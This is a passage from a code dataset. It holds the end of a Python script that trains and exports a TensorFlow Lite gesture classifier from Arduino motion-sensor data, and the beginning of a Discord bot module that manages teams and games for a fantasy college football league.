tf\n\n# import local \nfrom signals_processing import *\n\n\n## == Set a fixed random seed value, for reproducibility\nSEED = 1337\nnp.random.seed(SEED)\n#~ tf.random.set_seed(SEED)\n\n## == Load data\n\n# number of samples per movement\nnum_samples = 64\n\n# dictonory of movements and corresponding filenames\nfilename = '../data/Poing_flex_then_ext_X50_64samples.csv'\n\n#~ gestures = {\n #~ \"punch\": \"../data/punch.csv\",\n #~ \"flex\": \"../data/flex.csv\",\n#~ }\ngestures = [\"poing_flex\",\"ext\"]\n\n# number of gestures\nn_gestures = len(gestures)\n\n## == create a one-hot encoded matrix that is used in the output\n# matrix representation of response: for example for 'punch' we got [1,0]\none_hot_gestures = np.eye(n_gestures)\n\n\n## == Start loading data\ninputs = []\noutputs = []\nts = []\n\n# labels of data with ranges of sensors for normalization: label:[min:max]\nlabels = {\"aX\":[-4,4], \n \"aY\":[-4,4],\n \"aZ\":[-4,4], \n \"gX\":[-2000,2000], \n \"gY\":[-2000,2000],\n \"gZ\":[-2000,2000]}\n\n\n# open files and collect data to inputs and outputs\n\n# open file as dataframe\ndf = pd.read_csv(filename)\ndf.dropna(inplace=True)\n\n# number of recordings in file\nnum_recordings = int(df.shape[0] /num_samples)\n\nfor i in range(num_recordings):\n # take single recording and process it to vector for input using \n # Sample_arduino() object from signal_processing.py\n smpl = Sample_arduino(df,i*num_samples,(i+1)*num_samples,labels=labels)\n \n # define output\n # ouput vector for gesture, ex.: [0,1]\n out = one_hot_gestures[i%2]\n\n \n # get a 1D vector of data for recording\n tnsr = smpl.get_data_vector()\n \n # collect inputs and outputs\n inputs.append(tnsr.squeeze().tolist())\n outputs.append(out)\n \n \n\n# |||| === Below is part of the code from colab with some modification |||||||\n# vvvv =============================================================== vvvvvvv\n\n# convert the list to numpy array\ninputs = np.array(inputs)\noutputs = np.array(outputs)\n\n\nprint(\"Data set parsing and preparation complete.\")\n\n\n# Randomize the order of the inputs, so they can be evenly distributed for training, testing, and validation\n# https://stackoverflow.com/a/37710486/2020087\nnum_inputs = len(inputs)\nrandomize = np.arange(num_inputs)\nnp.random.shuffle(randomize)\n\n# Swap the consecutive indexes (0, 1, 2, etc) with the randomized indexes\ninputs = inputs[randomize]\noutputs = outputs[randomize]\n\n# Split the recordings (group of samples) into three sets: training, testing and validation\nTRAIN_SPLIT = int(0.6 * num_inputs)\nTEST_SPLIT = int(0.2 * num_inputs + TRAIN_SPLIT)\n\ninputs_train, inputs_test, inputs_validate = np.split(inputs, [TRAIN_SPLIT, TEST_SPLIT])\noutputs_train, outputs_test, outputs_validate = np.split(outputs, [TRAIN_SPLIT, TEST_SPLIT])\n\nprint(\"Data set randomization and splitting complete.\")\n\n## == Build the model and train it\nmodel = tf.keras.Sequential()\nmodel.add(tf.keras.layers.Dense(50, activation='relu')) # relu is used for performance\nmodel.add(tf.keras.layers.Dense(15, activation='relu'))\nmodel.add(tf.keras.layers.Dense(n_gestures, activation='softmax')) # softmax is used, because we only expect one gesture to occur per input\nmodel.compile(optimizer='rmsprop', loss='mse', metrics=['mae'])\nhistory = model.fit(inputs_train, outputs_train, epochs=600, batch_size=1, validation_data=(inputs_validate, outputs_validate))\n\n## == Verify\n\n# graph the loss, the model above is configure to use \"mean squared error\" as the loss function\nloss = history.history['loss']\nval_loss = history.history['val_loss']\nepochs = range(1, len(loss) + 1)\n\n# skip first epoches for plotting for simplicity of graph\nSKIP = 100\nplt.plot(epochs[SKIP:], loss[SKIP:], 'g.', label='Training loss')\nplt.plot(epochs[SKIP:], val_loss[SKIP:], 'b.', label='Validation loss')\nplt.title('Training and validation loss')\nplt.xlabel('Epochs')\nplt.ylabel('Loss')\nplt.legend()\n\n\n\n\n# graph of mean absolute error\nmae = history.history['mae']\nval_mae = history.history['val_mae']\nplt.plot(epochs[SKIP:], mae[SKIP:], 'g.', label='Training MAE')\nplt.plot(epochs[SKIP:], val_mae[SKIP:], 'b.', label='Validation MAE')\nplt.title('Training and validation mean absolute error')\nplt.xlabel('Epochs')\nplt.ylabel('MAE')\nplt.legend()\n\n# use the model to predict the test inputs\npredictions = model.predict(inputs_test)\n\n# print the predictions and the expected ouputs\nprint(\"predictions =\\n\", np.round(predictions, decimals=3))\nprint(\"actual =\\n\", outputs_test)\n\n# Plot the predictions along with to the test data\nplt.clf()\nplt.title('Training data predicted vs actual values')\nplt.plot(inputs_test, outputs_test, 'b.', label='Actual')\nplt.plot(inputs_test, predictions, 'r.', label='Predicted')\n\n\nplt.show()\n\n\n# Convert the model to the TensorFlow Lite format without quantization\nconverter = tf.lite.TFLiteConverter.from_keras_model(model)\ntflite_model = converter.convert()\n\n# Save the model to disk\nwith open(\"../models/gesture_model.tflite\", \"wb\") as f:\n f.write(tflite_model)\n\n\n", "sub_path": "python/train_model_singleFile.py", "file_name": "train_model_singleFile.py", "file_ext": "py", "file_size_in_byte": 5092, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "numpy.random.seed", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 94, "usage_type": "attribute"}, {"api_name": "numpy.split", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.split", "line_number": 105, "usage_type": "call"}, {"api_name": "tensorflow.keras.Sequential", "line_number": 110, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 110, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 111, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 111, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 112, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 112, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 113, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 113, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 156, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 157, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "tensorflow.lite.TFLiteConverter.from_keras_model", "line_number": 164, "usage_type": "call"}, {"api_name": "tensorflow.lite", "line_number": 164, "usage_type": "attribute"}]} {"seq_id": "594394689", "text": "import discord\nimport json\nfrom user_database_functions import getUser\nfrom user_database_functions import getNickname\nfrom user_database_functions import getOffensivePlaybook\nfrom user_database_functions import getDefensivePlaybook\nfrom game_database_functions import addGameToDatabase\nfrom game_database_functions import copyGameData\nfrom game_database_functions import pasteGameData\nfrom game_database_functions import deleteGameData\nfrom game_database_functions import getGameInfo\nfrom game_database_functions import checkUserFree\nfrom game_database_functions import updateEmbeddedMessage\nfrom game_database_functions import getGameInfoTeam\nfrom github_functions import getLogFileURL\nfrom github_functions import getLogFile\nfrom github_functions import createLogFile\nfrom github_functions import deleteLogFile\nfrom user_database_functions import checkName\nfrom user_database_functions import checkUser\nfrom user_database_functions import addUser\nfrom user_database_functions import deleteTeam\nfrom user_database_functions import getTeamInformation\nfrom game_functions import game\nfrom game_functions import gameDM\nfrom util import getDiscordUser\nfrom util import convertDown\n\n\n\"\"\"\nHandle the Discord side of the bot. Look for messages and post responses\n\n@author: apkick\n\"\"\"\n\nhelpMessage = \"There was an issue with your command, please type '&help' and double check you entered the command correctly\"\nwith open('config.json') as f:\n data = json.load(f)\njsonData = json.dumps(data)\ntoken = json.loads(jsonData)[\"discordToken\"]\nguildID = json.loads(jsonData)[\"guildID\"]\ncommandMessage = (\"===================\\nCOMMANDS\\n===================\\n\" \n + \"&start - starts games\\n\"\n + \"&end - ends games and saves them\\n\" \n + \"&delete - deletes games and does not save them\\n\" \n + \"&create - creates teams\\n\" \n + \"&remove - removes teams\\n\"\n + \"&view - view user information\\n\"\n + \"&database - view the game database information\\n\"\n + \"===================\\nPLAYBOOK FORMATTING\\n===================\\n\"\n + \"Offensive Playbook: Flexbone, West Coast, Pro, Spread, Air Raid\\n\" \n + \"Defensive Playbook: 3-4, 4-3, 4-4, 3-3-5, 5-2\\n\\n\"\n + \"===================\\nCOMMAND FORMATTING\\n===================\\n\"\n + \"&start [HOME TEAM] vs [AWAY TEAM]\\n\" \n + \"&end [HOME TEAM] vs [AWAY TEAM]\\n\" \n + \"&delete [HOME TEAM] vs [AWAY TEAM]\\n\" \n + \"&create [TEAM NAME], [TEAM NICKNAME], [CONFERENCE], [DISCORD NAME (WITH THE # TAG AS WELL)], [COACH NAME], [OFFENSIVE PLAYBOOK], [DEFENSIVE PLAYBOOK]\\n\"\n + \"&remove [TEAM NAME]\\n\"\n + \"&view [TEAM NAME]\\n\"\n + \"&database (In the game channel) OR &database [HOME TEAM] vs [AWAY TEAM]\")\n\n\nasync def createEmbed(client, gameChannel, homeTeam, awayTeam, url):\n \"\"\"\n Create a Discord embed\n\n \"\"\"\n embed = discord.Embed(title=homeTeam + \" vs \" + awayTeam, description=\"FCFB Game\", url=url, color=0x28db18)\n embed.add_field(name=\"Home Team\", value=homeTeam, inline=True)\n embed.add_field(name=\"Away Team\", value=awayTeam, inline=True)\n embed.add_field(name=\"Score\", value=\"0-0 Tied\", inline=False)\n embed.add_field(name=\"Clock\", value=\"7:00 left in Q1\", inline=False)\n embed.add_field(name=\"Possession\", value=\":football: N/A\", inline=True)\n embed.add_field(name=\"Yard Line\", value=homeTeam + \" 35\", inline=True)\n embed.add_field(name=\"Down\", value=\"1st and 10\", inline=True)\n \n guild = client.get_guild(guildID)\n gameLogChannel = None\n for channel in guild.channels:\n if channel.name == \"game-logs\":\n gameLogChannel = channel\n break\n \n messagePosted = await gameLogChannel.send(embed=embed)\n updateEmbeddedMessage(gameChannel, messagePosted.id)\n \nasync def editEmbed(client, gameInfo, url):\n embed = discord.Embed(title=gameInfo[\"home name\"] + \" vs \" + gameInfo[\"away name\"], description=\"FCFB Game\", url=url, color=0x28db18)\n embed.add_field(name=\"Home Team\", value=gameInfo[\"home name\"] + \" \" + gameInfo[\"home nickname\"], inline=True)\n embed.add_field(name=\"Away Team\", value=gameInfo[\"away name\"] + \" \" + gameInfo[\"away nickname\"], inline=True)\n homeScore = gameInfo[\"home score\"]\n awayScore = gameInfo[\"away score\"]\n if int(homeScore) > int(awayScore):\n score = str(homeScore) + \"-\" + str(awayScore) + \" \" + gameInfo[\"home name\"] + \" leads\"\n elif int(homeScore) < int(awayScore):\n score = str(homeScore) + \"-\" + str(awayScore) + \" \" + gameInfo[\"away name\"] + \" leads\"\n else:\n score = str(homeScore) + \"-\" + str(awayScore) + \" Tied\"\n embed.add_field(name=\"Score\", value=score, inline=False)\n embed.add_field(name=\"Clock\", value=str(gameInfo[\"time\"]) + \" left in Q\" + str(gameInfo[\"quarter\"]), inline=False)\n embed.add_field(name=\"Possession\", value=\":football: \" + gameInfo[\"possession\"], inline=True)\n embed.add_field(name=\"Yard Line\", value=gameInfo[\"yard line\"], inline=True)\n down = convertDown(str(gameInfo[\"down\"]))\n embed.add_field(name=\"Down\", value=down + \" and \" + str(gameInfo[\"distance\"]), inline=True)\n \n guild = client.get_guild(guildID)\n gameLogChannel = None\n for channel in guild.channels:\n if channel.name == \"game-logs\":\n gameLogChannel = channel\n break\n \n try:\n oldEmbed = await gameLogChannel.fetch_message(gameInfo[\"embedded message\"])\n await oldEmbed.edit(embed=embed)\n except:\n print(\"Could not edit game log, likely because the game log for this game doesn't exist anymore. Error due to \" + str(Exception))\n raise Exception\n \n \n\ndef checkRole(user, roleName):\n \"\"\"\n Check if user is a specific role\n \n \"\"\"\n\n for role in user.roles:\n if role.name == roleName:\n return True\n return False\n \n\nasync def checkValidInfo(homeTeamInfo, awayTeamInfo, message):\n \"\"\"\n Make sure the team info in the database is valid\n \n \"\"\"\n\n if homeTeamInfo[\"user\"] == \"COULD NOT FIND\":\n await message.channel.send(\"There was an issue with your database, I could not find the home user\")\n return False\n if awayTeamInfo[\"user\"] == \"COULD NOT FIND\":\n await message.channel.send(\"There was an issue with your database, I could not find the away user\")\n return False\n if homeTeamInfo[\"nickname\"] == \"COULD NOT FIND\":\n await message.channel.send(\"There was an issue with your database, I could not find the home team\")\n return False\n if awayTeamInfo[\"nickname\"] == \"COULD NOT FIND\":\n await message.channel.send(\"There was an issue with your database, I could not find the away team\")\n return False\n if homeTeamInfo[\"offensive playbook\"] == \"COULD NOT FIND\":\n await message.channel.send(\"There was an issue with your database, I could not find the home offensive playbook\")\n return False\n if awayTeamInfo[\"offensive playbook\"] == \"COULD NOT FIND\":\n await message.channel.send(\"There was an issue with your database, I could not find the away offensive playbook\")\n return False\n if homeTeamInfo[\"defensive playbook\"] == \"COULD NOT FIND\":\n await message.channel.send(\"There was an issue with your database, I could not find the home defensive playbook\")\n return False\n if awayTeamInfo[\"defensive playbook\"] == \"COULD NOT FIND\":\n await message.channel.send(\"There was an issue with your database, I could not find the away defensive playbook\")\n return False\n\n # Check playbook validity\n if (homeTeamInfo[\"offensive playbook\"].strip().lower() != \"flexbone\" and\n homeTeamInfo[\"offensive playbook\"].strip().lower() != \"west coast\" and\n homeTeamInfo[\"offensive playbook\"].strip().lower() != \"pro\" and\n homeTeamInfo[\"offensive playbook\"].strip().lower() != \"spread\" and\n homeTeamInfo[\"offensive playbook\"].strip().lower() != \"air raid\"):\n await message.channel.send(\"There was an issue with your database, the home offensive playbook is invalid\")\n return False\n if (awayTeamInfo[\"offensive playbook\"].strip().lower() != \"flexbone\" and\n awayTeamInfo[\"offensive playbook\"].strip().lower() != \"west coast\" and\n awayTeamInfo[\"offensive playbook\"].strip().lower() != \"pro\" and\n awayTeamInfo[\"offensive playbook\"].strip().lower() != \"spread\" and\n awayTeamInfo[\"offensive playbook\"].strip().lower() != \"air raid\"):\n await message.channel.send(\"There was an issue with your database, the away offensive playbook is invalid\")\n return False\n\n if (homeTeamInfo[\"defensive playbook\"].strip() != \"3-4\" and\n homeTeamInfo[\"defensive playbook\"].strip() != \"4-3\" and\n homeTeamInfo[\"defensive playbook\"].strip() != \"4-4\" and\n homeTeamInfo[\"defensive playbook\"].strip() != \"3-3-5\" and\n homeTeamInfo[\"defensive playbook\"].strip() != \"5-2\"):\n await message.channel.send(\"There was an issue with your database, the home defensive playbook is invalid\")\n return False\n\n if (awayTeamInfo[\"defensive playbook\"] != \"3-4\" and\n awayTeamInfo[\"defensive playbook\"] != \"4-3\" and\n awayTeamInfo[\"defensive playbook\"] != \"4-4\" and\n awayTeamInfo[\"defensive playbook\"] != \"3-3-5\" and\n awayTeamInfo[\"defensive playbook\"] != \"5-2\"):\n await message.channel.send(\"There was an issue with your database, the away defensive playbook is invalid\")\n return False\n\n return True\n\n\nasync def handleStartCommand(client, message, category):\n \"\"\"\n Handle starting the games\n \n \"\"\"\n\n if message.content.startswith('&start'):\n command = message.content.split('&start')[1].strip()\n try:\n # Get all the information necessary to start a game\n homeTeam = command.split(\"vs\")[0].strip()\n awayTeam = command.split(\"vs\")[1].strip()\n\n homeUser = getUser(homeTeam)\n awayUser = getUser(awayTeam)\n\n homeDiscordUser = getDiscordUser(client, homeUser)\n awayDiscordUser = getDiscordUser(client, awayUser)\n\n\n # Verify the users aren't already in a game\n homeUserFree = checkUserFree(homeUser)\n awayUserFree = checkUserFree(awayUser)\n\n\n # Home user is already playing\n if not homeUserFree:\n await message.channel.send(homeDiscordUser.mention + \" is already playing in a game! I cannot schedule them for a second game at this time\")\n return\n elif not awayUserFree:\n await message.channel.send(awayDiscordUser.mention + \" is already playing in a game! I cannot schedule them for a second game at this time\")\n return\n\n homeNickname = getNickname(homeTeam)\n awayNickname = getNickname(awayTeam)\n\n homeOffensivePlaybook = getOffensivePlaybook(homeTeam)\n homeDefensivePlaybook = getDefensivePlaybook(homeTeam)\n\n awayOffensivePlaybook = getOffensivePlaybook(awayTeam)\n awayDefensivePlaybook = getDefensivePlaybook(awayTeam)\n\n homeTeamInfo = {\"name\": homeTeam, \"nickname\": homeNickname, \"user\": homeUser, \"offensive playbook\": homeOffensivePlaybook, \"defensive playbook\": homeDefensivePlaybook}\n awayTeamInfo = {\"name\": awayTeam, \"nickname\": awayNickname, \"user\": awayUser, \"offensive playbook\": awayOffensivePlaybook, \"defensive playbook\": awayDefensivePlaybook}\n\n valid = await checkValidInfo(homeTeamInfo, awayTeamInfo, message)\n if valid is False:\n await message.channel.send(\"There was an issue starting your game due to invalid team info\")\n return\n\n # Create the game channel\n channel = await message.guild.create_text_channel(homeTeam + \" vs \" + awayTeam, category=category)\n\n # Add game to the database\n addGameToDatabase(channel, homeTeamInfo, awayTeamInfo)\n\n homeDiscordUser = getDiscordUser(client, homeUser)\n awayDiscordUser = getDiscordUser(client, awayUser)\n\n if homeDiscordUser == \"COULD NOT FIND\":\n await message.channel.send(\"Could not find the discord user \" + homeUser + \". Please verify it is correct.\")\n elif awayDiscordUser == \"COULD NOT FIND\":\n await message.channel.send(\"Could not find the discord user \" + awayUser + \". Please verify it is correct.\")\n\n await createLogFile(channel, homeTeam, awayTeam)\n\n gameInfo = getGameInfo(channel)\n gistLink = getLogFileURL(gameInfo[\"gist link\"])\n\n await createEmbed(client, channel, homeTeam, awayTeam, gistLink)\n\n await channel.send(\"Welcome to this week's FCFB matchup between \" + homeTeam + \" and \" + awayTeam + \"! If you ever see any typos or errors with the bot, please ping Dick\\n\\n\"\n + homeDiscordUser.mention + \", you're home, \" + awayDiscordUser.mention + \", you're away. \" + awayDiscordUser.mention + \" please call **heads** or **tails** in the air\")\n await message.channel.send(homeTeam + \" vs \" + awayTeam + \" was successfully started\")\n print(channel.name + \" was successfully started\")\n except:\n await message.channel.send(\"There was an issue starting the game, please ensure you used the right command by using '&help' and then contact Dick\")\n print(\"There was an issue starting \" + message.content.split('&start')[1].strip() + \" due to \" + str(Exception))\n raise Exception\n else:\n return\n \n\nasync def handleEndCommand(message):\n \"\"\"\n Handle ending the games\n \n \"\"\" \n\n if message.content.startswith('&end'):\n command = message.content.split('&end')[1].strip()\n try:\n # Get all the information necessary to end a game\n homeTeam = command.split(\"vs\")[0].strip()\n awayTeam = command.split(\"vs\")[1].strip()\n\n gameChannel = None\n name = homeTeam.lower() + \" vs \" + awayTeam.lower()\n channelName = name.replace(\" \", \"-\")\n if \"&\" in channelName:\n channelName = channelName.replace(\"&\", \"\")\n for channel in message.guild.channels:\n if channel.name == channelName:\n gameChannel = channel\n break\n\n # Ensure you can only delete in the game channel\n if gameChannel == message.channel:\n data = copyGameData(message.channel)\n if data == \"NO GAME FOUND\":\n await message.channel.send(\"No game data was found and thus I cannot save this game. Deleting the channel.\")\n await gameChannel.delete()\n print(gameChannel.name + \" could not find game data and could not save, but was successfully deleted\")\n return\n else:\n pasteGameData(data)\n deleteGameData(message.channel)\n await gameChannel.delete()\n print(gameChannel.name + \" was successfully saved and ended\")\n return\n else:\n await message.channel.send(\"You cannot delete a game here, you must be in the specific game channel\")\n return\n except:\n await message.channel.send(\"There was an issue ending the game, please ensure you used the right command by using '&help' and then contact Dick\")\n print(\"There was an issue ending \" + message.channel.name + \" due to \" + str(Exception))\n raise Exception\n else:\n return\n \nasync def handleDeleteCommand(client, message):\n \"\"\"\n Handle deleting the games\n \n \"\"\"\n\n if message.content.startswith('&delete'):\n command = message.content.split('&delete')[1].strip()\n try:\n # Get all the information necessary to delete a game\n homeTeam = command.split(\"vs\")[0].strip()\n awayTeam = command.split(\"vs\")[1].strip()\n\n gameChannel = None\n name = homeTeam.lower() + \" vs \" + awayTeam.lower()\n channelName = name.replace(\" \", \"-\")\n if \"&\" in channelName:\n channelName = channelName.replace(\"&\", \"\")\n for channel in message.guild.channels:\n if channel.name == channelName:\n gameChannel = channel\n break\n\n # Ensure you can only delete in the game channel\n if gameChannel.name == message.channel.name:\n gameInfo = getGameInfo(message.channel)\n\n guild = client.get_guild(guildID)\n gameLogChannel = None\n for channel in guild.channels:\n if channel.name == \"game-logs\":\n gameLogChannel = channel\n break\n if gameInfo[\"embedded message\"] is not None and gameInfo[\"embedded message\"] != \"\":\n embedMessage = await gameLogChannel.fetch_message(gameInfo[\"embedded message\"])\n await embedMessage.delete()\n\n deleteGameData(message.channel)\n deleteLogFile(gameInfo[\"gist link\"])\n await gameChannel.delete()\n print(gameChannel.name + \" was successfully deleted\")\n return\n else:\n await message.channel.send(\"You cannot delete a game here, you must be in the specific game channel\")\n return\n except:\n await message.channel.send(\"There was an issue deleting the game, please ensure you used the right command by using '&help' and then contact Dick\")\n print(\"There was an issue deleting \" + message.channel.name + \"due to \" + str(Exception))\n raise Exception\n else:\n return\n \n \nasync def handleCreateCommand(message):\n \"\"\"\n Handle creating teams\n \n \"\"\"\n\n if message.content.startswith('&create'):\n command = message.content.split('&create')[1].strip()\n teamInformation = command.split(',')\n try:\n teamInfo = []\n if len(teamInformation) != 7:\n await message.channel.send(\"You do not have all of the correct information, please use '&help' to check what is needed\")\n return\n\n # Handle the team name\n teamName = teamInformation[0].strip()\n # Verify the team name isn't already in a game\n teamUsed = checkName(teamName)\n if teamUsed:\n await message.channel.send(\"The team name, \" + teamName + \", is already used. Please try another name\")\n return\n teamInfo.append(teamName)\n\n # Handle the team nickname\n teamNickname = teamInformation[1].strip()\n teamInfo.append(teamNickname)\n\n # Handle the team conference\n teamConference = teamInformation[2].strip()\n teamInfo.append(teamConference)\n\n # Handle the team coach's discord\n teamUser = teamInformation[3].strip()\n # Verify the users aren't already in a game\n userUsed = checkUser(teamUser)\n if userUsed:\n await message.channel.send(\"The user, \" + teamUser + \", already has a team, if you want to make changes please contact Dick\")\n return\n if \"#\" not in teamUser:\n await message.channel.send(\"The user must include the tag. If you click on your profile, you'll see your discord name \"\n + \" and '#' and a number, please include the '#' and number. For example, #5233\")\n return\n if \"@\" in teamUser:\n await message.channel.send(\"The user cannot include your '@', it should be something like myname#6969, not @myname\")\n return\n teamInfo.append(teamUser)\n\n # Handle the team coach's name\n teamCoach = teamInformation[4].strip()\n teamInfo.append(teamCoach)\n\n # Handle the offensive playbook\n teamOffensivePlaybook = teamInformation[5].strip().lower()\n if (teamOffensivePlaybook != \"flexbone\" and teamOffensivePlaybook != \"west coast\"\n and teamOffensivePlaybook != \"pro\" and teamOffensivePlaybook != \"spread\"\n and teamOffensivePlaybook != \"air raid\"):\n await message.channel.send(\"The offensive playbook is not valid, please check what was entered and verify it matches one of the following:\\n \"\n + \"Flexbone, West Coast, Pro, Spread, Air Raid\\n\")\n return\n teamInfo.append(teamOffensivePlaybook)\n\n # Handle the defensive playbook\n teamDefensivePlaybook = teamInformation[6].strip().lower()\n if (teamDefensivePlaybook != \"5-2\" and teamDefensivePlaybook != \"4-4\"\n and teamDefensivePlaybook != \"4-3\" and teamDefensivePlaybook != \"3-4\"\n and teamDefensivePlaybook != \"3-3-5\"):\n await message.channel.send(\"The defensive playbook is not valid, please check what was entered and verify it matches one of the following:\\n \"\n + \"3-4, 4-3, 4-4, 3-3-5, 5-2\\n\")\n return\n teamInfo.append(teamDefensivePlaybook)\n\n addUser(teamInfo)\n\n await message.channel.send(str(teamName) + \" was successfully created\")\n print(teamName + \" was successfully created\")\n\n except:\n await message.channel.send(\"There was an issue creating the team, please ensure you used the right command by using '&help' and then contact Dick\")\n print(\"There was an issue creating the team made by \" + message.author.name + \" due to \" + str(Exception))\n raise Exception\n else:\n return\n \n \nasync def handleRemoveCommand(message):\n \"\"\"\n Handle deleting a team\n \n \"\"\"\n\n if message.content.startswith('&remove'):\n command = message.content.split('&remove')[1].strip()\n try:\n teamName = command\n # Verify the team actually exists\n teamExists = checkName(teamName)\n\n if teamExists:\n deleteTeam(teamName)\n await message.channel.send(teamName + \" was deleted successfully\")\n print(teamName + \" was successfully deleted\")\n return\n else:\n await message.channel.send(\"There was an issue deleting \" + teamName + \", verify the team name is correct\")\n print(\"There was an issue deleting \" + teamName)\n return\n except Exception:\n await message.channel.send(\"There was an issue deleting the team, please ensure you used the right command by using '&help' and then contact Dick\")\n print(\"There was an issue deleting \" + message.content.split('&remove')[1].strip() + \"due to \" + str(Exception))\n raise Exception\n else:\n return\n \n\nasync def handleViewCommand(message):\n \"\"\"\n Handle deleting a team\n \n \"\"\"\n\n if message.content.startswith('&view'):\n command = message.content.split('&view')[1].strip()\n try:\n teamName = command\n # Verify the team actually exists\n teamExists = checkName(teamName)\n\n if teamExists:\n teamInfo = getTeamInformation(teamName)\n await message.channel.send(\"**\" + teamName + \" Information:** \" + str(teamInfo))\n print(teamName + \" information was successfully gathered\")\n return\n else:\n await message.channel.send(\"There was an issue getting \" + teamName + \" information, verify the team name is correct\")\n print(\"There was an issue getting information for \" + teamName)\n return\n except:\n await message.channel.send(\"There was an issue getting the team information, please ensure you used the right command by using '&help' and then contact Dick\")\n print(\"There was an issue getting information for \" + message.content.split('&view')[1].strip() + \" due to \" + str(Exception))\n raise Exception\n else:\n return\n\n\nasync def handleDatabaseCommand(client, message):\n \"\"\"\n Handle the database command, which displays the information for the game\n\n \"\"\"\n\n if message.content.startswith('&database'):\n try:\n post = ''\n if \"vs\" in message.content:\n command = message.content.split('&database')[1].strip()\n # Get all the information necessary to start a game\n homeTeam = command.split(\"vs\")[0].strip()\n awayTeam = command.split(\"vs\")[1].strip()\n gameInfo = getGameInfoTeam(homeTeam)\n else:\n gameInfo = getGameInfo(message.channel)\n if gameInfo is None:\n await message.channel.send(\"There was an issue getting game information. \" +\n \"Are you in the game channel? If you are not in a \" +\n \"game channel you must use [HOME TEAM] vs [AWAY TEAM] in your command\")\n return\n\n post = (\"**\" + gameInfo[\"home name\"] + \" vs \" + gameInfo[\"away name\"] + \"**\\n\\n\"\n + \"Home User: \" + gameInfo[\"home user\"] + \"\\n\"\n + \"Away User: \" + gameInfo[\"away user\"] + \"\\n\"\n + \"Home Offensive Playbook: \" + gameInfo[\"home offensive playbook\"] + \"\\n\"\n + \"Away Offensive Playbook: \" + gameInfo[\"away offensive playbook\"] + \"\\n\"\n + \"Home Defensive Playbook: \" + gameInfo[\"home defensive playbook\"] + \"\\n\"\n + \"Away Offensive Playbook: \" + gameInfo[\"away defensive playbook\"] + \"\\n\"\n + \"Home Offensive Playbook: \" + gameInfo[\"home offensive playbook\"] + \"\\n\"\n + \"Coin Toss Winner: \" + gameInfo[\"coin toss winner\"] + \"\\n\"\n + \"Coin Toss Decision: \" + gameInfo[\"coin toss decision\"] + \"\\n\"\n + \"Quarter: \" + str(gameInfo[\"quarter\"]) + \"\\n\"\n + \"Time: \" + gameInfo[\"time\"] + \"\\n\"\n + \"Yard Line: \" + gameInfo[\"yard line\"] + \"\\n\"\n + \"Possession: \" + gameInfo[\"possession\"] + \"\\n\"\n + \"Waiting On: \" + gameInfo[\"waiting on\"] + \"\\n\"\n + \"Next Play Type: \" + gameInfo[\"play type\"] + \"\\n\"\n + \"Game Status: \" + gameInfo[\"game status\"] + \"\\n\"\n + \"Clock Stopped: \" + gameInfo[\"clock stopped\"] + 